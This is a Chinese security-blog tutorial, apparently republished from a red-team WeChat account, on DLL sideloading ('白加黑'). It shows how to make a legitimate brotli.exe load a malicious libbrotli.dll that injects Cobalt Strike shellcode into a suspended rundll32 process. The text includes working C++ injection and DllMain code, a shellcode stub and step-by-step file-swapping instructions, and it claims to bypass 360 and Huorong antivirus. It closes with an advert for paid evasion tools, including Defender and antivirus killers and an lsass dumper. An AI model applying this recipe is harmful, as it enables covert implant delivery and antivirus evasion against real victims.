文章总结: 本文介绍了白加黑技术,通过正常应用程序加载恶意DLL来执行shellcode,实现CobaltStrike上线。文章详细解释了DLL劫持原理,使用ZeroEye挖掘白程序和AheadLib导出DLL函数,并提供VisualStudio2022制作恶意DLL的完整步骤。测试显示该方法能有效绕过360和火绒等主流杀软,实现免杀上线。该技术适用于红队渗透测试场景,但需注意合法使用。
综合评分: 87
文章分类: 免杀,红队,安全工具
干货 | 3分钟带你学会白加黑上线CobaltStrike通杀主流杀软
原创
星落
星落安全团队
2025年10月27日 00:01
吉林
点击上方蓝字关注我们
现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
【声明】本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统以及盈利等目的,一切后果由操作者自行承担!!!
背景介绍
有些师傅还不太了解“白加黑”,用一句话概括就是 通过正常应用的exe程序去加载我们制作的恶意的dll,来执行shellcode代码,从而实现上线cobaltstrike。
DLL相关知识
为什么能够劫持DLL?
因为dll默认搜索路径(优先级)
调用进程的可执行文件所在的目录->系统目录->16 位系统目录->Windows 目录->当前工作目录->环境变量 PATH 指定的目录
只需要把恶意dll文件放在调用进程的可执行文件所在的目录即可优先调用我们的恶意dll文件。
推荐工具(无脑操作):
- ZeroEye 自动挖掘白程序工具
- AheadLib dll的相关函数导出
制作教程
首先使用ZeroEye挖掘白程序,没有证书的白程序也可以完成上线cs操作。
然后进行bin->x64目录中,寻找一个合适的白程序以及适合制作黑DLL的DLL文件,注意:一定要选择和程序相关的DLL,不要用系统中的DLL文件,因为这些DLL文件已经被杀软拉黑了。这里选择了brotli.exe程序。
然后使用AheadLib导出dll的相关函数,选择libbrotli.dll,然后点击”Makefile”按钮,即可在dll目录生成两个文件分别为libbrotli.cpp和libbrotli_jump.asm。
然后使用visualstudio2022制作动态链接库DLL,名字为DLL文件名称。
然后将libbrotli.cpp内容复制到dllmain.cpp中,然后点击源文件添加现有项将libbrotli_jump.asm复制到目录中,并把此文件添加到源文件中。
然后根据libbrotli_jump.asm进行操作。
然后在dllmian中将第一个红框代码取消注释,将第二个红框代码注释掉,第三个红框的地方修改为任意名字,同样也要将原来的libbrotli.dll修改为你修改的名字。我这里将libbrotli.dll修改为了ApiHelp.dll,然后vs2022生成的dll名字为libbrotli.dll。
然后这里修改为白程序的名称,我这里为broli.exe
cs上线代码采用了零攻防 生吃香菜师傅的傀儡进程注入代码,在此基础上做了些许更改。
InjectShellcode函数代码:
unsigned char killraw[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41";
BOOL InjectShellcode(BYTE* shellcode, SIZE_T shellcodeSize) { DWORD nFileSize = shellcodeSize; LPVOID ScAddress = shellcode; PROCESS_INFORMATION ProcessInformation; STARTUPINFOA StartupInfo; void* v24; CONTEXT Context; SIZE_T DwWrite = 0; ZeroMemory(&StartupInfo, sizeof(StartupInfo)); StartupInfo.cb = sizeof(StartupInfo); BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | CREATE_NO_WINDOW, 0, 0, &StartupInfo, &ProcessInformation); if (result) { Context.ContextFlags = CONTEXT_CONTROL; GetThreadContext(ProcessInformation.hThread, &Context); v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, nFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(ProcessInformation.hProcess, v24, ScAddress, nFileSize, &DwWrite); Context.Rip = (DWORD64)v24; SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); } TerminateProcess(GetCurrentProcess(), 0); return TRUE;}
DllMain代码:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule);
if (Load() && Init()) { TCHAR szAppName[MAX_PATH] = TEXT("brotli.exe");//请修改宿主进程名 TCHAR szCurName[MAX_PATH];
GetModuleFileName(NULL, szCurName, MAX_PATH); PathStripPath(szCurName);
//是否判断宿主进程名 if (StrCmpI(szCurName, szAppName) == 0) { InjectShellcode(killraw, sizeof(killraw)); } } } else if (dwReason == DLL_PROCESS_DETACH) { Free(); }
return TRUE;}
最后生成libbrotli.dll,然后将原来的libbrotli.dll更改为ApiHelp.dll,然后将libbrotli.dll复制进去。然后对libbrotli.dll进行免杀操作处理即可。
然后运行brotli.exe即可上线CobaltStirke。
免杀效果
物理机360:
火绒:
相关地址
关注微信公众号后台回复“入群”,即可进入星落安全交流群!
圈子介绍
博主介绍:
目前工作在某安全公司攻防实验室,一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练,擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
目前已经更新的免杀内容:
-
部分免杀项目源代码
-
星落安全内部免杀工具箱1.0
-
CobaltStrike4.9.1星落专版1.4
-
一键击溃windows defender
-
一键击溃火绒进程
-
CobaltStrike免杀加载器
-
数据库直连工具免杀版
-
aspx文件自动上线cobaltbrike
-
jsp文件自动上线cobaltbrike
-
哥斯拉免杀工具 XlByPassGodzilla
-
冰蝎免杀工具 XlByPassBehinder
-
冰蝎星落专版 xlbehinder
-
正向代理工具 xleoreg
-
反向代理工具xlfrc
-
内网扫描工具 xlscan
-
Todesk/向日葵密码读取工具
-
导出lsass内存工具 xlrls
-
绕过WAF免杀工具 ByPassWAF
-
等等…
目前星球已满800人,价格由208元调整为218元(交个朋友啦),900名以后涨价至268元。同时开启续费79折优惠。
往期推荐
3.【免杀】CobaltStrike4.9.1二开 | 自破解 免杀 修复BUG
4.【免杀】原来SQL注入也可以绕过杀软执行shellcode上线CoblatStrike
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星落安全团队 星落《干货 | 3分钟带你学会白加黑上线CobaltStrike通杀主流杀软》